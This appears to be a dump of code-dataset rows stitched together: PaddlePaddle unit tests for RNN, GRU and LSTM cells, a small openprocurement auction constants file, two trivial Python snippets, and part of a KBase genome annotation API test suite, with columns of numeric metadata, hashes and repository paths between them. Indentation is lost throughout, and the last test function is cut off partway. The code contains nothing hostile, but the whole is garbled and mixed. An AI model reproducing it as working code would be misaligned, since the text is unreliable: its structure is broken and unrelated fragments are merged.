class TestSimpleRNNCell(unittest.TestCase):
def __init__(self, bias=True, place="cpu"):
super(TestSimpleRNNCell, self).__init__(methodName="runTest")
self.bias = bias
self.place = paddle.CPUPlace() if place == "cpu" \
else paddle.CUDAPlace(0)
def setUp(self):
rnn1 = SimpleRNNCell(16, 32, bias=self.bias)
mp = paddle.static.Program()
sp = paddle.static.Program()
with paddle.fluid.unique_name.guard():
with paddle.static.program_guard(mp, sp):
rnn2 = paddle.nn.SimpleRNNCell(16,
32,
bias_ih_attr=self.bias,
bias_hh_attr=self.bias)
place = self.place
exe = paddle.static.Executor(place)
scope = paddle.fluid.Scope()
with paddle.static.scope_guard(scope):
exe.run(sp)
convert_params_for_cell_static(rnn1, rnn2, place)
self.mp = mp
self.sp = sp
self.rnn1 = rnn1
self.rnn2 = rnn2
self.executor = exe
self.scope = scope
def test_with_initial_state(self):
mp = self.mp.clone()
sp = self.sp
rnn1 = self.rnn1
rnn2 = self.rnn2
exe = self.executor
scope = self.scope
x = np.random.randn(4, 16)
prev_h = np.random.randn(4, 32)
y1, h1 = rnn1(x, prev_h)
with paddle.fluid.unique_name.guard():
with paddle.static.program_guard(mp, sp):
x_data = paddle.fluid.data(
"input", [-1, 16],
dtype=paddle.framework.get_default_dtype())
init_h = paddle.fluid.data(
"init_h", [-1, 32],
dtype=paddle.framework.get_default_dtype())
y, h = rnn2(x_data, init_h)
feed_dict = {x_data.name: x, init_h.name: prev_h}
with paddle.static.scope_guard(scope):
y2, h2 = exe.run(mp, feed=feed_dict, fetch_list=[y, h])
np.testing.assert_allclose(h1, h2, atol=1e-8, rtol=1e-5)
def test_with_zero_state(self):
mp = self.mp.clone()
sp = self.sp
rnn1 = self.rnn1
rnn2 = self.rnn2
exe = self.executor
scope = self.scope
x = np.random.randn(4, 16)
y1, h1 = rnn1(x)
with paddle.fluid.unique_name.guard():
with paddle.static.program_guard(mp, sp):
x_data = paddle.fluid.data(
"input", [-1, 16],
dtype=paddle.framework.get_default_dtype())
y, h = rnn2(x_data)
feed_dict = {x_data.name: x}
with paddle.static.scope_guard(scope):
y2, h2 = exe.run(mp,
feed=feed_dict,
fetch_list=[y, h],
use_prune=True)
np.testing.assert_allclose(h1, h2, atol=1e-8, rtol=1e-5)
def runTest(self):
self.test_with_initial_state()
self.test_with_zero_state()
class TestGRUCell(unittest.TestCase):
def __init__(self, bias=True, place="cpu"):
super(TestGRUCell, self).__init__(methodName="runTest")
self.bias = bias
self.place = paddle.CPUPlace() if place == "cpu" \
else paddle.CUDAPlace(0)
def setUp(self):
rnn1 = GRUCell(16, 32, bias=self.bias)
mp = paddle.static.Program()
sp = paddle.static.Program()
with paddle.fluid.unique_name.guard():
with paddle.static.program_guard(mp, sp):
rnn2 = paddle.nn.GRUCell(16,
32,
bias_ih_attr=self.bias,
bias_hh_attr=self.bias)
place = self.place
exe = paddle.static.Executor(place)
scope = paddle.fluid.Scope()
with paddle.static.scope_guard(scope):
exe.run(sp)
convert_params_for_cell_static(rnn1, rnn2, place)
self.mp = mp
self.sp = sp
self.rnn1 = rnn1
self.rnn2 = rnn2
self.place = place
self.executor = exe
self.scope = scope
def test_with_initial_state(self):
mp = self.mp.clone()
sp = self.sp
rnn1 = self.rnn1
rnn2 = self.rnn2
exe = self.executor
scope = self.scope
x = np.random.randn(4, 16)
prev_h = np.random.randn(4, 32)
y1, h1 = rnn1(x, prev_h)
with paddle.fluid.unique_name.guard():
with paddle.static.program_guard(mp, sp):
x_data = paddle.fluid.data(
"input", [-1, 16],
dtype=paddle.framework.get_default_dtype())
init_h = paddle.fluid.data(
"init_h", [-1, 32],
dtype=paddle.framework.get_default_dtype())
y, h = rnn2(x_data, init_h)
feed_dict = {x_data.name: x, init_h.name: prev_h}
with paddle.static.scope_guard(scope):
y2, h2 = exe.run(mp, feed=feed_dict, fetch_list=[y, h])
np.testing.assert_allclose(h1, h2, atol=1e-8, rtol=1e-5)
def test_with_zero_state(self):
mp = self.mp.clone()
sp = self.sp
rnn1 = self.rnn1
rnn2 = self.rnn2
exe = self.executor
scope = self.scope
x = np.random.randn(4, 16)
y1, h1 = rnn1(x)
with paddle.fluid.unique_name.guard():
with paddle.static.program_guard(mp, sp):
x_data = paddle.fluid.data(
"input", [-1, 16],
dtype=paddle.framework.get_default_dtype())
y, h = rnn2(x_data)
feed_dict = {x_data.name: x}
with paddle.static.scope_guard(scope):
y2, h2 = exe.run(mp,
feed=feed_dict,
fetch_list=[y, h],
use_prune=True)
np.testing.assert_allclose(h1, h2, atol=1e-8, rtol=1e-5)
def runTest(self):
self.test_with_initial_state()
self.test_with_zero_state()
class TestLSTMCell(unittest.TestCase):
def __init__(self, bias=True, place="cpu"):
super(TestLSTMCell, self).__init__(methodName="runTest")
self.bias = bias
self.place = paddle.CPUPlace() if place == "cpu" \
else paddle.CUDAPlace(0)
def setUp(self):
rnn1 = LSTMCell(16, 32, bias=self.bias)
mp = paddle.static.Program()
sp = paddle.static.Program()
with paddle.fluid.unique_name.guard():
with paddle.static.program_guard(mp, sp):
rnn2 = paddle.nn.LSTMCell(16,
32,
bias_ih_attr=self.bias,
bias_hh_attr=self.bias)
place = self.place
exe = paddle.static.Executor(place)
scope = paddle.fluid.Scope()
with paddle.static.scope_guard(scope):
exe.run(sp)
convert_params_for_cell_static(rnn1, rnn2, place)
self.mp = mp
self.sp = sp
self.rnn1 = rnn1
self.rnn2 = rnn2
self.place = place
self.executor = exe
self.scope = scope
def test_with_initial_state(self):
mp = self.mp.clone()
sp = self.sp
rnn1 = self.rnn1
rnn2 = self.rnn2
exe = self.executor
scope = self.scope
x = np.random.randn(4, 16)
prev_h = np.random.randn(4, 32)
prev_c = np.random.randn(4, 32)
y1, (h1, c1) = rnn1(x, (prev_h, prev_c))
with paddle.fluid.unique_name.guard():
with paddle.static.program_guard(mp, sp):
x_data = paddle.fluid.data(
"input", [-1, 16],
dtype=paddle.framework.get_default_dtype())
init_h = paddle.fluid.data(
"init_h", [-1, 32],
dtype=paddle.framework.get_default_dtype())
init_c = paddle.fluid.data(
"init_c", [-1, 32],
dtype=paddle.framework.get_default_dtype())
y, (h, c) = rnn2(x_data, (init_h, init_c))
feed_dict = {x_data.name: x, init_h.name: prev_h, init_c.name: prev_c}
with paddle.static.scope_guard(scope):
y2, h2, c2 = exe.run(mp, feed=feed_dict, fetch_list=[y, h, c])
np.testing.assert_allclose(h1, h2, atol=1e-8, rtol=1e-5)
np.testing.assert_allclose(c1, c2, atol=1e-8, rtol=1e-5)
def test_with_zero_state(self):
mp = self.mp.clone()
sp = self.sp
rnn1 = self.rnn1
rnn2 = self.rnn2
exe = self.executor
scope = self.scope
x = np.random.randn(4, 16)
y1, (h1, c1) = rnn1(x)
with paddle.fluid.unique_name.guard():
with paddle.static.program_guard(mp, sp):
x_data = paddle.fluid.data(
"input", [-1, 16],
dtype=paddle.framework.get_default_dtype())
y, (h, c) = rnn2(x_data)
feed_dict = {x_data.name: x}
with paddle.static.scope_guard(scope):
y2, h2, c2 = exe.run(mp,
feed=feed_dict,
fetch_list=[y, h, c],
use_prune=True)
np.testing.assert_allclose(h1, h2, atol=1e-8, rtol=1e-5)
np.testing.assert_allclose(c1, c2, atol=1e-8, rtol=1e-5)
def runTest(self):
self.test_with_initial_state()
self.test_with_zero_state()
def load_tests(loader, tests, pattern):
suite = unittest.TestSuite()
devices = ["cpu", "gpu"] if paddle.fluid.is_compiled_with_cuda() \
else ["cpu"]
for bias in [True, False]:
for device in devices:
for test_class in [TestSimpleRNNCell, TestGRUCell, TestLSTMCell]:
suite.addTest(test_class(bias, device))
return suite
| 32.423077
| 78
| 0.543024
| 1,374
| 10,959
| 4.171033
| 0.127365
| 0.056535
| 0.050253
| 0.024429
| 0.815739
| 0.808759
| 0.808759
| 0.804572
| 0.804572
| 0.804572
| 0
| 0.032537
| 0.346564
| 10,959
| 337
| 79
| 32.519288
| 0.76777
| 0.053198
| 0
| 0.845238
| 0
| 0
| 0.010519
| 0
| 0
| 0
| 0
| 0
| 0.031746
| 1
| 0.063492
| false
| 0
| 0.019841
| 0
| 0.099206
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
3712335ae939dba7956a85dc7c21985b464e89e6
| 167
|
py
|
Python
|
openprocurement/auction/esco/tests/unit/constants.py
|
ProzorroUKR/openprocurement.auction.esco
|
16a127ac7fc47cacaaf5f2eb708ea8b273e57e56
|
[
"Apache-2.0"
] | null | null | null |
openprocurement/auction/esco/tests/unit/constants.py
|
ProzorroUKR/openprocurement.auction.esco
|
16a127ac7fc47cacaaf5f2eb708ea8b273e57e56
|
[
"Apache-2.0"
] | 3
|
2017-10-26T12:42:01.000Z
|
2017-11-06T10:41:49.000Z
|
openprocurement/auction/esco/tests/unit/constants.py
|
ProzorroUKR/openprocurement.auction.esco
|
16a127ac7fc47cacaaf5f2eb708ea8b273e57e56
|
[
"Apache-2.0"
] | 4
|
2017-07-10T12:03:38.000Z
|
2017-09-08T10:19:46.000Z
|
# -*- coding: utf-8 -*-
AUCTIONS = {
'simple': 'openprocurement.auction.esco.auctions.simple',
'multilot': 'openprocurement.auction.esco.auctions.multilot',
}
| 27.833333
| 65
| 0.682635
| 16
| 167
| 7.125
| 0.5625
| 0.245614
| 0.45614
| 0.596491
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.006849
| 0.125749
| 167
| 5
| 66
| 33.4
| 0.773973
| 0.125749
| 0
| 0
| 0
| 0
| 0.722222
| 0.625
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
371a7cc400c462cf1dca069f018e5edc96e2416f
| 21
|
py
|
Python
|
examples/pow/ex3.py
|
mcorne/python-by-example
|
15339c0909c84b51075587a6a66391100971c033
|
[
"MIT"
] | null | null | null |
examples/pow/ex3.py
|
mcorne/python-by-example
|
15339c0909c84b51075587a6a66391100971c033
|
[
"MIT"
] | null | null | null |
examples/pow/ex3.py
|
mcorne/python-by-example
|
15339c0909c84b51075587a6a66391100971c033
|
[
"MIT"
] | null | null | null |
print(pow(9, 2, 10))
| 10.5
| 20
| 0.571429
| 5
| 21
| 2.4
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.222222
| 0.142857
| 21
| 1
| 21
| 21
| 0.444444
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
2ea493d0cbc97ff0a0f616e85f249f00b761bc0e
| 37
|
py
|
Python
|
CodeUP/Python basic 100/6014.py
|
cmsong111/NJ_code
|
2df6176d179e168a2789a825ddeb977a82eb8d97
|
[
"MIT"
] | null | null | null |
CodeUP/Python basic 100/6014.py
|
cmsong111/NJ_code
|
2df6176d179e168a2789a825ddeb977a82eb8d97
|
[
"MIT"
] | null | null | null |
CodeUP/Python basic 100/6014.py
|
cmsong111/NJ_code
|
2df6176d179e168a2789a825ddeb977a82eb8d97
|
[
"MIT"
] | null | null | null |
a=input()
print(a)
print(a)
print(a)
| 7.4
| 9
| 0.648649
| 8
| 37
| 3
| 0.375
| 0.75
| 0.916667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.108108
| 37
| 4
| 10
| 9.25
| 0.727273
| 0
| 0
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.75
| 1
| 1
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 8
|
25780db4692e674790e97af9cecf8bcad78c70b0
| 20,945
|
py
|
Python
|
lib/doekbase/data_api/tests/test_genome_annotation_api.py
|
scanon/data_api2
|
f453a8e544cb4052feb56f4cf77ba79122aeedf8
|
[
"MIT"
] | null | null | null |
lib/doekbase/data_api/tests/test_genome_annotation_api.py
|
scanon/data_api2
|
f453a8e544cb4052feb56f4cf77ba79122aeedf8
|
[
"MIT"
] | null | null | null |
lib/doekbase/data_api/tests/test_genome_annotation_api.py
|
scanon/data_api2
|
f453a8e544cb4052feb56f4cf77ba79122aeedf8
|
[
"MIT"
] | null | null | null |
"""
Unit tests for genome_annotation
"""
import logging
from unittest import skipUnless
from . import shared
from doekbase.data_api.annotation.genome_annotation.api import GenomeAnnotationAPI
from doekbase.data_api.annotation.genome_annotation.api import _KBaseGenomes_Genome
from doekbase.data_api.annotation.genome_annotation.api import _GenomeAnnotation
from doekbase.data_api.annotation.genome_annotation.api import GenomeAnnotationClientAPI
from doekbase.data_api.sequence.assembly.api import AssemblyAPI
from doekbase.data_api.taxonomy.taxon.api import TaxonAPI
_log = logging.getLogger(__name__)
genome_new = "ReferenceGenomeAnnotations/kb|g.166819"
genome_old = "OriginalReferenceGenomes/kb|g.166819"
t_new = None
t_new_e = None
t_old = None
t_old_e = None
t_client_new = None
t_client_old = None
def setup():
shared.setup()
global t_new, t_new_e, t_old, t_old_e, t_client_new, t_client_old
t_new = GenomeAnnotationAPI(shared.services, shared.token, genome_new)
t_new_e = _GenomeAnnotation(shared.services, shared.token, genome_new)
t_old = GenomeAnnotationAPI(shared.services, shared.token, genome_old)
t_old_e = _KBaseGenomes_Genome(shared.services, shared.token, genome_old)
t_client_new = GenomeAnnotationClientAPI(shared.services["genome_annotation_service_url"], shared.token, genome_new)
t_client_old = GenomeAnnotationClientAPI(shared.services["genome_annotation_service_url"], shared.token, genome_old)
######## New Genome type tests
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_taxon_new():
_log.debug("Input {}".format(genome_new))
for t_o in [t_new, t_new_e]:
taxon_t_o = t_o.get_taxon()
assert isinstance(taxon_t_o, TaxonAPI)
_log.debug("Output {}".format(taxon_t_o))
taxon_c_new = t_client_new.get_taxon()
assert taxon_c_new is not None
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_assembly_new():
_log.debug("Input {}".format(genome_new))
for t_o in [t_new, t_new_e]:
assembly_t_o = t_o.get_assembly()
assert isinstance(assembly_t_o, AssemblyAPI)
_log.debug("Output {}".format(assembly_t_o))
assembly_c_new = t_client_new.get_assembly()
assert assembly_c_new is not None
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_types_new():
_log.debug("Input {}".format(genome_new))
for t_o in [t_new, t_new_e, t_client_new]:
feature_types_t_o = t_o.get_feature_types()
assert isinstance(feature_types_t_o, list)
_log.debug("Output {}".format(len(feature_types_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_type_descriptions_new():
_log.debug("Input {}".format(genome_new))
for t_o in [t_new, t_new_e, t_client_new]:
feature_type_descriptions_t_o = t_o.get_feature_type_descriptions()
assert isinstance(feature_type_descriptions_t_o, dict)
_log.debug("Output {}".format(len(feature_type_descriptions_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_ids_new():
_log.debug("Input {}".format(genome_new))
for t_o in [t_new, t_new_e, t_client_new]:
feature_ids_t_o = t_o.get_feature_ids()
assert isinstance(feature_ids_t_o, dict)
_log.debug("Output {}".format(len(feature_ids_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_type_counts_new():
_log.debug("Input {}".format(genome_new))
for t_o in [t_new, t_new_e, t_client_new]:
feature_type_counts_t_o = t_o.get_feature_type_counts()
assert isinstance(feature_type_counts_t_o, dict)
_log.debug("Output {}".format(len(feature_type_counts_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_locations_new():
_log.debug("Input {}".format(genome_new))
for t_o in [t_new, t_new_e, t_client_new]:
feature_locations_t_o = t_o.get_feature_locations()
assert isinstance(feature_locations_t_o, dict)
_log.debug("Output {}".format(len(feature_locations_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_dna_new():
_log.debug("Input {}".format(genome_new))
for t_o in [t_new, t_new_e, t_client_new]:
feature_dna_t_o = t_o.get_feature_dna()
assert isinstance(feature_dna_t_o, dict)
_log.debug("Output {}".format(len(feature_dna_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_functions_new():
_log.debug("Input {}".format(genome_new))
for t_o in [t_new, t_new_e, t_client_new]:
feature_functions_t_o = t_o.get_feature_functions()
assert isinstance(feature_functions_t_o, dict)
_log.debug("Output {}".format(len(feature_functions_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_aliases_new():
_log.debug("Input {}".format(genome_new))
for t_o in [t_new, t_new_e, t_client_new]:
feature_aliases_t_o = t_o.get_feature_aliases()
assert isinstance(feature_aliases_t_o, dict)
_log.debug("Output {}".format(len(feature_aliases_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_publications_new():
_log.debug("Input {}".format(genome_new))
for t_o in [t_new, t_new_e, t_client_new]:
feature_publications_t_o = t_o.get_feature_publications()
assert isinstance(feature_publications_t_o, dict)
_log.debug("Output {}".format(len(feature_publications_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_features_new():
_log.debug("Input {}".format(genome_new))
for t_o in [t_new, t_new_e, t_client_new]:
features_t_o = t_o.get_features()
assert isinstance(features_t_o, dict)
_log.debug("Output {}".format(len(features_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_proteins_new():
_log.debug("Input {}".format(genome_new))
for t_o in [t_new, t_new_e, t_client_new]:
proteins_t_o = t_o.get_proteins()
assert isinstance(proteins_t_o, dict)
_log.debug("Output {}".format(len(proteins_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_cds_by_mrna_valid_new():
inputs = ["kb|g.166819.mRNA.0", "kb|g.166819.mRNA.238"]
_log.debug("Input {} {}".format(genome_new, inputs))
for t_o in [t_new, t_new_e, t_client_new]:
cds_t_o = t_o.get_cds_by_mrna(inputs)
assert len(cds_t_o) == 2
_log.debug("Output {}".format(cds_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_cds_by_mrna_invalid_new():
inputs = ["kb|g.166819.mRNA.99999999999", "kb|g.166819.CDS.1"]
_log.debug("Input {} {}".format(genome_new, inputs))
for t_o in [t_new, t_new_e, t_client_new]:
cds_t_o = t_o.get_cds_by_mrna(inputs)
assert len(cds_t_o) == 0
_log.debug("Output {}".format(cds_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_mrna_by_cds_valid_new():
inputs = ["kb|g.166819.CDS.0", "kb|g.166819.CDS.278"]
_log.debug("Input {} {}".format(genome_new, inputs))
for t_o in [t_new, t_new_e, t_client_new]:
mrna_t_o = t_o.get_mrna_by_cds(inputs)
assert len(mrna_t_o) == 2
_log.debug("Output {}".format(mrna_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_mrna_by_cds_invalid_new():
inputs = ["kb|g.166819.mRNA.1", "kb|g.166819.CDS.9999999999"]
_log.debug("Input {} {}".format(genome_new, inputs))
for t_o in [t_new, t_new_e, t_client_new]:
mrna_t_o = t_o.get_mrna_by_cds(inputs)
assert len(mrna_t_o) == 0
_log.debug("Output {}".format(mrna_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_gene_by_mrna_valid_new():
inputs = ["kb|g.166819.mRNA.0", "kb|g.166819.mRNA.238"]
_log.debug("Input {} {}".format(genome_new, inputs))
for t_o in [t_new, t_new_e, t_client_new]:
genes_t_o = t_o.get_gene_by_mrna(inputs)
assert len(genes_t_o) == 2
_log.debug("Output {}".format(genes_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_gene_by_mrna_invalid_new():
inputs = ["kb|g.166819.mRNA.99999999999", "kb|g.166819.CDS.1"]
_log.debug("Input {} {}".format(genome_new, inputs))
for t_o in [t_new, t_new_e, t_client_new]:
genes_t_o = t_o.get_gene_by_mrna(inputs)
assert len(genes_t_o) == 0
_log.debug("Output {}".format(genes_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_cds_by_gene_valid_new():
inputs = ["kb|g.166819.locus.256", "kb|g.166819.locus.112"]
_log.debug("Input {} {}".format(genome_new, inputs))
for t_o in [t_new, t_new_e, t_client_new]:
cds_t_o = t_o.get_cds_by_gene(inputs)
assert len(cds_t_o) == 2
_log.debug("Output {}".format(cds_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_cds_by_gene_invalid_new():
inputs = ["kb|g.166819.mRNA.1", "kb|g.166819.locus.999999"]
_log.debug("Input {} {}".format(genome_new, inputs))
for t_o in [t_new, t_new_e, t_client_new]:
cds_t_o = t_o.get_cds_by_gene(inputs)
assert len(cds_t_o) == 0
_log.debug("Output {}".format(cds_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_mrna_by_gene_valid_new():
inputs = ["kb|g.166819.locus.256", "kb|g.166819.locus.112"]
_log.debug("Input {} {}".format(genome_new, inputs))
for t_o in [t_new, t_new_e, t_client_new]:
mrna_t_o = t_o.get_mrna_by_gene(inputs)
assert len(mrna_t_o) == 2
_log.debug("Output {}".format(mrna_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_mrna_by_gene_invalid_new():
inputs = ["kb|g.166819.mRNA.1", "kb|g.166819.locus.999999"]
_log.debug("Input {} {}".format(genome_new, inputs))
for t_o in [t_new, t_new_e, t_client_new]:
mrna_t_o = t_o.get_mrna_by_gene(inputs)
assert len(mrna_t_o) == 0
_log.debug("Output {}".format(mrna_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_gene_by_cds_valid_new():
inputs = ["kb|g.166819.CDS.0", "kb|g.166819.CDS.278"]
_log.debug("Input {} {}".format(genome_new, inputs))
for t_o in [t_new, t_new_e, t_client_new]:
genes_t_o = t_o.get_gene_by_cds(inputs)
assert len(genes_t_o) == 2
_log.debug("Output {}".format(genes_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_gene_by_cds_invalid_new():
inputs = ["kb|g.166819.mRNA.1", "kb|g.166819.CDS.999999"]
_log.debug("Input {} {}".format(genome_new, inputs))
for t_o in [t_new, t_new_e, t_client_new]:
genes_t_o = t_o.get_gene_by_cds(inputs)
assert len(genes_t_o) == 0
_log.debug("Output {}".format(genes_t_o))
######## Old Genome Annotation Type tests
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_taxon_old():
_log.debug("Input {}".format(genome_old))
for t_o in [t_old, t_old_e]:
taxon_t_o = t_o.get_taxon()
assert isinstance(taxon_t_o, TaxonAPI)
_log.debug("Output {}".format(taxon_t_o))
taxon_c_old = t_client_old.get_taxon()
assert taxon_c_old is not None
_log.debug("Output {}".format(taxon_c_old))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_assembly_old():
_log.debug("Input {}".format(genome_old))
for t_o in [t_old, t_old_e]:
assembly_t_o = t_o.get_assembly()
assert isinstance(assembly_t_o, AssemblyAPI)
_log.debug("Output {}".format(assembly_t_o))
assembly_c_old = t_client_old.get_assembly()
assert assembly_c_old is not None
_log.debug("Output {}".format(assembly_c_old))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_types_old():
_log.debug("Input {}".format(genome_old))
for t_o in [t_old, t_old_e, t_client_old]:
feature_types_t_o = t_o.get_feature_types()
assert isinstance(feature_types_t_o, list)
_log.debug("Output {}".format(feature_types_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_type_descriptions_old():
_log.debug("Input {}".format(genome_old))
for t_o in [t_old, t_old_e, t_client_old]:
feature_type_descriptions_t_o = t_o.get_feature_type_descriptions()
assert isinstance(feature_type_descriptions_t_o, dict)
_log.debug("Output {}".format(feature_type_descriptions_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_ids_old():
_log.debug("Input {}".format(genome_old))
for t_o in [t_old, t_old_e, t_client_old]:
feature_ids_t_o = t_o.get_feature_ids()
assert isinstance(feature_ids_t_o, dict)
_log.debug("Output {}".format(type(feature_ids_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_type_counts_old():
_log.debug("Input {}".format(genome_old))
for t_o in [t_old, t_old_e, t_client_old]:
feature_type_counts_t_o = t_o.get_feature_type_counts()
assert isinstance(feature_type_counts_t_o, dict)
_log.debug("Output {}".format(feature_type_counts_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_locations_old():
_log.debug("Input {}".format(genome_old))
for t_o in [t_old, t_old_e, t_client_old]:
feature_locations_t_o = t_o.get_feature_locations()
assert isinstance(feature_locations_t_o, dict)
_log.debug("Output {}".format(len(feature_locations_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_dna_old():
_log.debug("Input {}".format(genome_old))
for t_o in [t_old, t_old_e, t_client_old]:
feature_dna_t_o = t_o.get_feature_dna()
assert isinstance(feature_dna_t_o, dict)
_log.debug("Output {}".format(len(feature_dna_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_functions_old():
_log.debug("Input {}".format(genome_old))
for t_o in [t_new_e, t_old, t_old_e, t_client_new, t_client_old]:
feature_functions_t_o = t_o.get_feature_functions()
assert isinstance(feature_functions_t_o, dict)
_log.debug("Output {}".format(len(feature_functions_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_aliases_old():
_log.debug("Input {}".format(genome_old))
for t_o in [t_old, t_old_e, t_client_old]:
feature_aliases_t_o = t_o.get_feature_aliases()
assert isinstance(feature_aliases_t_o, dict)
_log.debug("Output {}".format(len(feature_aliases_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_feature_publications_old():
_log.debug("Input {}".format(genome_old))
for t_o in [t_old, t_old_e, t_client_old]:
feature_publications_t_o = t_o.get_feature_publications()
assert isinstance(feature_publications_t_o, dict)
_log.debug("Output {}".format(len(feature_publications_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_features_old():
_log.debug("Input {}".format(genome_old))
for t_o in [t_old, t_old_e, t_client_old]:
features_t_o = t_o.get_features()
assert isinstance(features_t_o, dict)
_log.debug("Output {}".format(len(features_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_proteins_old():
_log.debug("Input {}".format(genome_old))
for t_o in [t_old, t_old_e, t_client_old]:
proteins_t_o = t_o.get_proteins()
assert isinstance(proteins_t_o, dict)
_log.debug("Output {}".format(len(proteins_t_o)))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_cds_by_mrna_valid_old():
inputs = ["kb|g.166819.mRNA.0", "kb|g.166819.mRNA.238"]
_log.debug("Input {} {}".format(genome_old, inputs))
for t_o in [t_old, t_old_e, t_client_old]:
cds_t_o = t_o.get_cds_by_mrna(inputs)
assert len(cds_t_o) == 0
_log.debug("Output {}".format(cds_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_cds_by_mrna_invalid_old():
inputs = ["kb|g.166819.mRNA.99999999999", "kb|g.166819.CDS.1"]
_log.debug("Input {} {}".format(genome_old, inputs))
for t_o in [t_old, t_old_e, t_client_old]:
cds_t_o = t_o.get_cds_by_mrna(inputs)
assert len(cds_t_o) == 0
_log.debug("Output {}".format(cds_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_mrna_by_cds_valid_old():
inputs = ["kb|g.166819.CDS.0", "kb|g.166819.CDS.278"]
_log.debug("Input {} {}".format(genome_old, inputs))
for t_o in [t_old, t_old_e, t_client_old]:
mrna_t_o = t_o.get_mrna_by_cds(inputs)
assert len(mrna_t_o) == 0
_log.debug("Output {}".format(mrna_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_mrna_by_cds_invalid_old():
inputs = ["kb|g.166819.mRNA.1", "kb|g.166819.CDS.9999999999"]
_log.debug("Input {} {}".format(genome_old, inputs))
for t_o in [t_old, t_old_e, t_client_old]:
mrna_t_o = t_o.get_mrna_by_cds(inputs)
assert len(mrna_t_o) == 0
_log.debug("Output {}".format(mrna_t_o))
@skipUnless(shared.can_connect, 'Cannot connect to workspace')
def test_get_gene_by_mrna_valid_old():
inputs = ["kb|g.166819.mRNA.0", "kb|g.166819.mRNA.238"]
_log.debug("Input {} {}".format(genome_old, inputs))
for t_o in [t_old, t_old_e, t_client_old]:
genes_t_o = t_o.get_gene_by_mrna(inputs)
assert len(genes_t_o) == 0
